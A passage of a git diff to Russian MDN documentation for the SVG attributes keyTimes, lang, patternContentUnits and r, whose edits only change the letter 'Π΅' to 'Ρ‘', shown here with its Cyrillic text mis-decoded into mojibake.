ΠΎΡ‚ 0 Π΄ΠΎ 1 (Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ), ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅Π΅ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΡƒΡŽ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ смСщСния Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ элСмСнта Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
<p>Если ΡƒΠΊΠ°Π·Π°Π½ список <code>keyTimes</code>, Ρ‚ΠΎ Π² спискС <code>keyTimes</code> Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Ρ€ΠΎΠ²Π½ΠΎ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, сколько Π² спискС {{ SVGAttr("values") }} .</p>
@@ -14,8 +14,8 @@ translation_of: Web/SVG/Attribute/keyTimes
<p>Π‘Π΅ΠΌΠ°Π½Ρ‚ΠΈΠΊΠ° списка keyTimes зависит ΠΎΡ‚ Ρ€Π΅ΠΆΠΈΠΌΠ° интСрполяции:</p>
<ul>
- <li>Для Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ ΠΈ сплайновой Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² спискС Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π²Π½ΠΎ 0, Π° ПослСднСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² спискС Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ 1. ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ врСмя, связанноС с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, опрСдСляСт, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ задаСтся; значСния ΡΠ²Π»ΡΡŽΡ‚ΡΡ интСрполяциСй ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌΠΈ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ.</li>
- <li>Для дискрСтной Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² спискС Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π²Π½ΠΎ 0. ВрСмя, связанноС с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, опрСдСляСт, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ задаСтся; Ѐункция Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π² <code>keyTimes</code>.</li>
+ <li>Для Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ ΠΈ сплайновой Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² спискС Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π²Π½ΠΎ 0, Π° ПослСднСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² спискС Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ 1. ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ врСмя, связанноС с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, опрСдСляСт, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ задаётся; значСния ΡΠ²Π»ΡΡŽΡ‚ΡΡ интСрполяциСй ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌΠΈ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ.</li>
+ <li>Для дискрСтной Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² спискС Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π²Π½ΠΎ 0. ВрСмя, связанноС с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, опрСдСляСт, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ задаётся; Ѐункция Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π² <code>keyTimes</code>.</li>
</ul>
<p>Если Π² качСствС рСТима интСрполяции ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <em>paced</em>, Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>keyTimesΒ </code>игнорируСтся.</p>
diff --git a/files/ru/web/svg/attribute/lang/index.html b/files/ru/web/svg/attribute/lang/index.html
index 86317240f1..88fbec8090 100644
--- a/files/ru/web/svg/attribute/lang/index.html
+++ b/files/ru/web/svg/attribute/lang/index.html
@@ -7,11 +7,11 @@ translation_of: Web/SVG/Attribute/lang
---
<div>{{SVGRef}}</div>
-<p><span class="seoSummary">Атрибут <strong><code>lang</code></strong>Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ основной язык, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π² содСрТимом, ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, содСрТащиС тСкстовоС содСрТимоС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… элСмСнтов.</span></p>
+<p><span class="seoSummary">Атрибут <strong><code>lang</code></strong>Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ основной язык, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π² содСрТимом, ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, содСрТащиС тСкстовоС содСрТимоС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… элСмСнтов.</span></p>
-<p>Π’Π°ΠΊΠΆΠ΅ сущСствуСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{SVGAttr("xml:lang")}}Β (с пространством ΠΈΠΌΠ΅Π½). Если ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ ΠΎΠ±Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ пространство ΠΈΠΌΠ΅Π½, Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π±Π΅Π· пространства ΠΈΠΌΠ΅Π½ игнорируСтся.</p>
+<p>Π’Π°ΠΊΠΆΠ΅ сущСствуСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{SVGAttr("xml:lang")}}Β (с пространством ΠΈΠΌΡ‘Π½). Если ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ ΠΎΠ±Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ пространство ΠΈΠΌΡ‘Π½, Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π±Π΅Π· пространства ΠΈΠΌΡ‘Π½ игнорируСтся.</p>
-<p>Π’ SVG 1.1 сущСствовал Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>lang</code>, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ с Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹ΠΉ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΒ {{SVGElement("glyph")}}. Π­Ρ‚ΠΎΡ‚Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ указывал список языков Π² <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅Β BCP 47</a>.Β Π“Π»ΠΈΡ„ прСдназначался для использования, Ссли Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>xml:lang</code>Β Ρ‚ΠΎΡ‡Π½ΠΎ соотвСтствуСт ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈΠ· языков, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ этого ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, ΠΈΠ»ΠΈ Ссли Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>xml:lang</code>Β Ρ‚ΠΎΡ‡Π½ΠΎ соотвСтствуСт прСфиксу ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· языков, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ этого ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, пСрвый символ Ρ‚Π΅Π³Π°, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π·Π° прСфиксом, Π±Ρ‹Π» "-".</p>
+<p>Π’ SVG 1.1 сущСствовал Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>lang</code>, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ с Π΄Ρ€ΡƒΠ³ΠΈΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹ΠΉ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΒ {{SVGElement("glyph")}}. Π­Ρ‚ΠΎΡ‚Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ указывал список языков Π² <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅Β BCP 47</a>.Β Π“Π»ΠΈΡ„ прСдназначался для использования, Ссли Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>xml:lang</code>Β Ρ‚ΠΎΡ‡Π½ΠΎ соотвСтствуСт ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈΠ· языков, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ этого ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, ΠΈΠ»ΠΈ Ссли Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>xml:lang</code>Β Ρ‚ΠΎΡ‡Π½ΠΎ соотвСтствуСт прСфиксу ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· языков, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ этого ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, пСрвый символ Ρ‚Π΅Π³Π°, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Π·Π° прСфиксом, Π±Ρ‹Π» "-".</p>
<p>ВсС элСмСнты ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚.</p>
@@ -43,9 +43,9 @@ translation_of: Web/SVG/Attribute/lang
<dl>
<dt><code>&lt;language-tag&gt;</code></dt>
<dd>
- <p>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ язык, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для элСмСнта. Бинтаксис этого значСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² <a href="https://tools.ietf.org/html/bcp47#section-2.1">спСцификации BCP 47</a>.</p>
+ <p>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ язык, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для элСмСнта. Бинтаксис этого значСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² <a href="https://tools.ietf.org/html/bcp47#section-2.1">спСцификации BCP 47</a>.</p>
- <p>НаиболСС распространСнным синтаксисом являСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, состоящСС ΠΈΠ· Π΄Π²ΡƒΡ…ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½ΠΎΠΉ части Π½ΠΈΠΆΠ½Π΅Π³ΠΎ рСгистра языка ΠΈ Π΄Π²ΡƒΡ…ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½ΠΎΠΉ части Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ рСгистра для Ρ€Π΅Π³ΠΈΠΎΠ½Π° ΠΈΠ»ΠΈ страны, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π·Π½Π°ΠΊΠΎΠΌ минус. НапримСр,Β <code>en-US</code> для амСриканского английского языка ΠΈΠ»ΠΈΒ <code>de-AT</code> для австрийского Π½Π΅ΠΌΠ΅Ρ†ΠΊΠΎΠ³ΠΎ.</p>
+ <p>НаиболСС распространённым синтаксисом являСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, состоящСС ΠΈΠ· Π΄Π²ΡƒΡ…ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½ΠΎΠΉ части Π½ΠΈΠΆΠ½Π΅Π³ΠΎ рСгистра языка ΠΈ Π΄Π²ΡƒΡ…ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½ΠΎΠΉ части Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ рСгистра для Ρ€Π΅Π³ΠΈΠΎΠ½Π° ΠΈΠ»ΠΈ страны, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π·Π½Π°ΠΊΠΎΠΌ минус. НапримСр,Β <code>en-US</code> для амСриканского английского языка ΠΈΠ»ΠΈΒ <code>de-AT</code> для австрийского Π½Π΅ΠΌΠ΅Ρ†ΠΊΠΎΠ³ΠΎ.</p>
</dd>
</dl>
@@ -63,7 +63,7 @@ translation_of: Web/SVG/Attribute/lang
<tr>
<td>{{SpecName("SVG2", "struct.html#LangAttribute", "lang")}}</td>
<td>{{Spec2("SVG2")}}</td>
- <td>Π‘Π΄Π΅Π»Π°Π» Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{SVGAttr("lang")}} (Π±Π΅Π· пространства ΠΈΠΌΠ΅Π½) доступным для всСх элСмСнтов ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ» взаимодСйствиС ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ.</td>
+ <td>Π‘Π΄Π΅Π»Π°Π» Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{SVGAttr("lang")}} (Π±Π΅Π· пространства ΠΈΠΌΡ‘Π½) доступным для всСх элСмСнтов ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ» взаимодСйствиС ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ.</td>
</tr>
<tr>
<td>{{SpecName("SVG1.1", "fonts.html#GlyphElementLangAttribute", "lang")}}</td>
diff --git a/files/ru/web/svg/attribute/patterncontentunits/index.html b/files/ru/web/svg/attribute/patterncontentunits/index.html
index 5a9258a1f4..82030dbd1b 100644
--- a/files/ru/web/svg/attribute/patterncontentunits/index.html
+++ b/files/ru/web/svg/attribute/patterncontentunits/index.html
@@ -5,11 +5,11 @@ translation_of: Web/SVG/Attribute/patternContentUnits
---
<p>Β« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
-<p>Атрибут <code>patternContentUnits</code> опрСдСляСт систСму ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ для содСрТимого {{ SVGElement("pattern") }}. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ эффСкта, Ссли {{ SVGAttr("viewBox") }} ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π½Π° {{ SVGElement("pattern") }} элСмСнтС.</p>
+<p>Атрибут <code>patternContentUnits</code> опрСдСляСт систСму ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ для содСрТимого {{ SVGElement("pattern") }}. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ эффСкта, Ссли {{ SVGAttr("viewBox") }} ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π½Π° {{ SVGElement("pattern") }} элСмСнтС.</p>
-<p>Если <code>patternContentUnits</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, Ρ‚ΠΎ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ прСдполагаСтся Ρ€Π°Π²Π½Ρ‹ΠΌΒ <code>userSpaceOnUse</code>.</p>
+<p>Если <code>patternContentUnits</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, Ρ‚ΠΎ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ прСдполагаСтся Ρ€Π°Π²Π½Ρ‹ΠΌΒ <code>userSpaceOnUse</code>.</p>
-<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{ SVGElement("pattern") }} Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ влияния Π½Π° Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° . Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ, Ссли Π²Ρ‹ Π·Π°Π΄Π°Π΅Ρ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>patternContentUnits</code>Β Ρ€Π°Π²Π½Ρ‹ΠΌΒ <code>objectBoundingBox</code>, значСния, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ…,Β Π±ΡƒΠ΄ΡƒΡ‚ пСрСсчитаны, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Π²Ρ‹ Π·Π°Π΄Π°Π»ΠΈΒ <code>userSpaceOnUse</code>.</p>
+<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{ SVGElement("pattern") }} Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ влияния Π½Π° Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° . Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ, Ссли Π²Ρ‹ Π·Π°Π΄Π°Ρ‘Ρ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>patternContentUnits</code>Β Ρ€Π°Π²Π½Ρ‹ΠΌΒ <code>objectBoundingBox</code>, значСния, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ…,Β Π±ΡƒΠ΄ΡƒΡ‚ пСрСсчитаны, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Π²Ρ‹ Π·Π°Π΄Π°Π»ΠΈΒ <code>userSpaceOnUse</code>.</p>
<h2 id="ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚_использования">ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚ использования</h2>
@@ -45,7 +45,7 @@ translation_of: Web/SVG/Attribute/patternContentUnits
<h2 id="Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹</h2>
-<p>Атрибут <code>patternContentUnits</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… элСмСнтах:</p>
+<p>Атрибут <code>patternContentUnits</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… элСмСнтах:</p>
<ul>
<li>{{ SVGElement("pattern") }}</li>
diff --git a/files/ru/web/svg/attribute/r/index.html b/files/ru/web/svg/attribute/r/index.html
index 1f92d75024..5114420ac3 100644
--- a/files/ru/web/svg/attribute/r/index.html
+++ b/files/ru/web/svg/attribute/r/index.html
@@ -71,7 +71,7 @@ translation_of: Web/SVG/Attribute/r
<p>Для {{ SVGElement("radialGradient") }}, <code>r</code> устанавливаСт радиус ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ окруТности Ρ€Π°Π΄ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°.</p>
-<p>Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ нарисован Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β  <strong>100%</strong> ΠΊΠΎΠ½Ρ†Π° Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π»ΠΈΡΡŒΒ ΠΏΠΎ ΠΏΠ΅Ρ€ΠΈΠΌΠ΅Ρ‚Ρ€Ρƒ этого ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΊΡ€ΡƒΠ³Π°.Β Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, мСньшСС ΠΈΠ»ΠΈ Ρ€Π°Π²Π½ΠΎΠ΅ Π½ΡƒΠ»ΡŽ, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΊΡ€Π°ΡˆΠ΅Π½Π° ΠΊΠ°ΠΊ ΠΎΠ΄ΠΈΠ½ Ρ†Π²Π΅Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ†Π²Π΅Ρ‚ ΠΈ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ послСднСго Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°Β  {{ SVGElement("stop") }}.</p>
+<p>Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ нарисован Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β  <strong>100%</strong> ΠΊΠΎΠ½Ρ†Π° Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π»ΠΈΡΡŒΒ ΠΏΠΎ ΠΏΠ΅Ρ€ΠΈΠΌΠ΅Ρ‚Ρ€Ρƒ этого ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΊΡ€ΡƒΠ³Π°.Β Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, мСньшСС ΠΈΠ»ΠΈ Ρ€Π°Π²Π½ΠΎΠ΅ Π½ΡƒΠ»ΡŽ, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΊΡ€Π°ΡˆΠ΅Π½Π° ΠΊΠ°ΠΊ ΠΎΠ΄ΠΈΠ½ Ρ†Π²Π΅Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ†Π²Π΅Ρ‚ ΠΈ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ послСднСго 